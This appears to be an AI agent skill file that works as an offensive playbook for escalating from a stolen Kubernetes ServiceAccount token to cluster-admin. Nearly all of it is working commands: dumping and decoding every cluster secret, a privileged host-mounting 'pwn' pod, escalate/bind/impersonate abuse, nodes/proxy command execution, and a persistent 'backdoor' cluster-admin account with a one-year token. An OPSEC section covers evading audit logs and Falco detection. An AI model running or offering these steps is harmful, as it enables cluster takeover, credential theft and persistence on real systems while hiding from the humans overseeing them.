| name | k8s-rbac-abuse |
| description | Kubernetes RBAC privilege escalation paths — ClusterRole/Role enumeration via `kubectl auth can-i --list`, abuse of pods/exec, pods/portforward, secrets get, escalate verb, bind verb, impersonate verb, system:masters group abuse, ServiceAccount token theft and reuse. |
| allowed-tools | Bash Read Write |
| metadata | {"when_to_use":"kubernetes k8s rbac role privilege escalation can-i pods/exec secrets list escalate bind impersonate serviceaccount cluster-admin system:masters","subdomain":"cloud-native","tags":"kubernetes, rbac, privilege-escalation, authorization","mitre_attack":"T1078.004, T1098.003, T1552.005"} |
Kubernetes RBAC Privilege Escalation
You have a Kubernetes ServiceAccount token (from a pod escape, kubeconfig leak, or compromised CI runner). Find the path from this SA to cluster-admin.
Phase 1: Enumerate current permissions
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
NS=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)
APISERVER=https://kubernetes.default.svc
kubectl config set-credentials hacked --token="$TOKEN"
kubectl config set-cluster c --server=$APISERVER --insecure-skip-tls-verify
kubectl config set-context c --cluster=c --user=hacked --namespace=$NS
kubectl config use-context c
kubectl auth can-i --list
kubectl auth can-i --list --all-namespaces
kubectl auth can-i '*' '*' --all-namespaces
kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]?.name | contains("YOUR_SA_NAME"))'
Phase 2: Classic escalation paths
2.1 pods/exec or pods/attach on a privileged pod
If you can exec into a pod that has a privileged SecurityContext or a sensitive volume mount, you take that pod's identity:
kubectl auth can-i create pods/exec
kubectl get pods -A -o json | jq '.items[] | select(.spec.containers[]?.securityContext?.privileged == true) | "\(.metadata.namespace)/\(.metadata.name)"'
kubectl exec -it -n kube-system privileged-pod-name -- /bin/sh
2.2 secrets get/list cluster-wide
kubectl get secrets -A -o json > all_secrets.json
jq -r '.items[] | select(.type=="kubernetes.io/service-account-token") | "\(.metadata.namespace)/\(.metadata.name): \(.data.token | @base64d)"' all_secrets.json | head
NEW_TOKEN=$(kubectl get secret -n kube-system $(kubectl get sa -n kube-system -o name | head -1 | cut -d/ -f2)-token-XXXXX -o jsonpath='{.data.token}' | base64 -d)
kubectl --token="$NEW_TOKEN" auth can-i '*' '*' --all-namespaces
2.3 create pods — run a privileged pod yourself
Even without exec on existing pods, if you can CREATE pods you can build one that mounts the host:
cat <<EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
name: pwn
spec:
hostPID: true
hostNetwork: true
containers:
- name: pwn
image: alpine
command: ["nsenter", "-t", "1", "-m", "-u", "-i", "-n", "-p", "sh"]
securityContext:
privileged: true
volumeMounts:
- name: host
mountPath: /host
volumes:
- name: host
hostPath:
path: /
EOF
kubectl exec -it pwn -- /bin/sh
If PSP / Pod Security Admission blocks privileged: true, downgrade gradually: hostPath: /, hostPID alone, capabilities: [SYS_ADMIN], etc. PSA's restricted profile blocks all of these; baseline blocks privileged + hostPath but allows hostPID; privileged allows everything.
2.4 escalate verb
The escalate verb on roles/clusterroles lets you create a role with permissions you DON'T have:
kubectl auth can-i escalate clusterroles
cat <<EOF | kubectl apply -f -
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: total-pwn
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["*"]
EOF
kubectl create clusterrolebinding pwn --clusterrole=total-pwn --serviceaccount=$NS:default
2.5 bind verb
The bind verb lets you bind an existing higher-privilege ClusterRole to your SA:
kubectl auth can-i create clusterrolebindings
kubectl auth can-i bind clusterroles
kubectl create clusterrolebinding pwn --clusterrole=cluster-admin --serviceaccount=$NS:default
2.6 impersonate verb
kubectl auth can-i impersonate users
kubectl --as=system:admin auth can-i '*' '*' --all-namespaces
kubectl --as=system:admin get secrets -A
kubectl --as=anything --as-group=system:masters get secrets -A
2.7 nodes/proxy — bypass RBAC via kubelet
kubectl auth can-i get nodes/proxy
kubectl proxy --port=8080 &
curl -sk http://localhost:8080/api/v1/nodes/$NODE/proxy/run/POD_NS/POD_NAME/CONTAINER -X POST -d 'cmd=id'
Phase 3: Token persistence
kubectl create token your-sa --duration=720h
kubectl create sa backdoor -n kube-system
kubectl create clusterrolebinding backdoor --clusterrole=cluster-admin --serviceaccount=kube-system:backdoor
TOKEN=$(kubectl create token backdoor -n kube-system --duration=8760h)
OPSEC
- Every
kubectl call hits the API server audit log. kubectl auth can-i --list calls SelfSubjectRulesReview — distinctive in audit logs.
- Falco and Sysdig rules flag
create-clusterrolebinding, impersonate, and nodes/proxy access.
- Token theft from etcd / pod-filesystem leaves no audit trail until the token is USED — separate the steal and the use in time if possible.
- Prefer
--user-agent matching the kubectl version already in use on the cluster to blend in.
References
- Kubernetes RBAC docs
- BadPods (Bishop Fox) — every PSA bypass class
- DEFCON 30 "Hacking Kubernetes" — Madhu Akula / Andrew Martin
- KubiScan — tools for the defender side